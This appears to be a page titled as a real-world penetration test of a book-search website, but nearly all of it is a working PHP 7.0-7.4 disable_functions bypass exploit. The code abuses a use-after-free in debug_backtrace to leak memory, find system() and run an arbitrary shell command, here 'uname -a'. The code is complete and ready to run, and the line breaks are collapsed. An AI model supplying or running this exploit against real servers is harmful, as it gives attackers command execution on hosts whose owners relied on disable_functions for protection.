一个搜书网站的渗透测试实战

<?php# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)## Bug: https://bugs.php.net/bug.php?id=76047# debug_backtrace() returns a reference to a variable # that has been destroyed, causing a UAF vulnerability.## This exploit should work on all PHP 7.0-7.4 versions# released as of 30/01/2020.## Author: https://github.com/mm0r1pwn("uname -a");function pwn($cmd) {    global $abc, $helper, $backtrace;    class Vuln {        public $a;        public function __destruct() {             global $backtrace;             unset($this->a);            $backtrace = (new Exception)->getTrace(); # ;)            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4                $backtrace = debug_backtrace();            }        }    }    class Helper {        public $a, $b, $c, $d;    }    function str2ptr(&$str, $p = 0, $s = 8) {        $address = 0;        for($j = $s-1; $j >= 0; $j--) {            $address <<= 8;            $address |= ord($str[$p+$j]);        }        return $address;    }    function ptr2str($ptr, $m = 8) {        $out = "";        for ($i=0; $i < $m; $i++) {            $out .= chr($ptr & 0xff);            $ptr >>= 8;        }        return $out;    }    function write(&$str, $p, $v, $n = 8) {        $i = 0;        for($i = 0; $i < $n; $i++) {            $str[$p + $i] = chr($v & 0xff);            $v >>= 8;        }    }    function leak($addr, $p = 0, $s = 8) {        global $abc, $helper;        write($abc, 0x68, $addr + $p - 0x10);        $leak = strlen($helper->a);        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }        return $leak;    }    function parse_elf($base) {        $e_type = leak($base, 0x10, 2);        $e_phoff = leak($base, 0x20);        $e_phentsize = leak($base, 0x36, 2);        $e_phnum = leak($base, 0x38, 2);        for($i = 0; $i < $e_phnum; $i++) {            $header = $base + $e_phoff + $i * $e_phentsize;            $p_type  = leak($header, 0, 4);            $p_flags = leak($header, 4, 4);            $p_vaddr = leak($header, 0x10);            $p_memsz = leak($header, 0x28);            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write                # handle pie                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;                $data_size = $p_memsz;            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec                $text_size = $p_memsz;            }        }        if(!$data_addr || !$text_size || !$data_size)            return false;        return [$data_addr, $text_size, $data_size];    }    function get_basic_funcs($base, $elf) {        list($data_addr, $text_size, $data_size) = $elf;        for($i = 0; $i < $data_size / 8; $i++) {            $leak = leak($data_addr, $i * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {                $deref = leak($leak);                # 'constant' constant check                if($deref != 0x746e6174736e6f63)                    continue;            } else continue;            $leak = leak($data_addr, ($i + 4) * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {                $deref = leak($leak);                # 'bin2hex' constant check                if($deref != 0x786568326e6962)                    continue;            } else continue;            return $data_addr + $i * 8;        }    }    function get_binary_base($binary_leak) {        $base = 0;        $start = $binary_leak & 0xfffffffffffff000;        for($i = 0; $i < 0x1000; $i++) {            $addr = $start - 0x1000 * $i;            $leak = leak($addr, 0, 7);            if($leak == 0x10102464c457f) { # ELF header                return $addr;            }        }    }    function get_system($basic_funcs) {        $addr = $basic_funcs;        do {            $f_entry = leak($addr);            $f_name = leak($f_entry, 0, 6);            if($f_name == 0x6d6574737973) { # system                return leak($addr + 8);            }            $addr += 0x20;        } while($f_entry != 0);        return false;    }    function trigger_uaf($arg) {        # str_shuffle prevents opcache string interning        $arg = str_shuffle(str_repeat('A', 79));        $vuln = new Vuln();        $vuln->a = $arg;    }    if(stristr(PHP_OS, 'WIN')) {        die('This PoC is for *nix systems only.');    }    $n_alloc = 10; # increase this value if UAF fails    $contiguous = [];    for($i = 0; $i < $n_alloc; $i++)        $contiguous[] = str_shuffle(str_repeat('A', 79));    trigger_uaf('x');    $abc = $backtrace[1]['args'][0];    $helper = new Helper;    $helper->b = function ($x) { };    if(strlen($abc) == 79 || strlen($abc) == 0) {        die("UAF failed");    }    # leaks    $closure_handlers = str2ptr($abc, 0);    $php_heap = str2ptr($abc, 0x58);    $abc_addr = $php_heap - 0xc8;    # fake value    write($abc, 0x60, 2);    write($abc, 0x70, 6);    # fake reference    write($abc, 0x10, $abc_addr + 0x60);    write($abc, 0x18, 0xa);    $closure_obj = str2ptr($abc, 0x20);    $binary_leak = leak($closure_handlers, 8);    if(!($base = get_binary_base($binary_leak))) {        die("Couldn't determine binary base address");    }    if(!($elf = parse_elf($base))) {        die("Couldn't parse ELF header");    }    if(!($basic_funcs = get_basic_funcs($base, $elf))) {        die("Couldn't get basic_functions address");    }    if(!($zif_system = get_system($basic_funcs))) {        die("Couldn't get zif_system address");    }    # fake closure object    $fake_obj_offset = 0xd0;    for($i = 0; $i < 0x110; $i += 8) {        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));    }    # pwn    write($abc, 0x20, $abc_addr + $fake_obj_offset);    write($abc, 0xd0 + 0x38, 1, 4); # internal func type    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler    ($helper->b)($cmd);    exit();}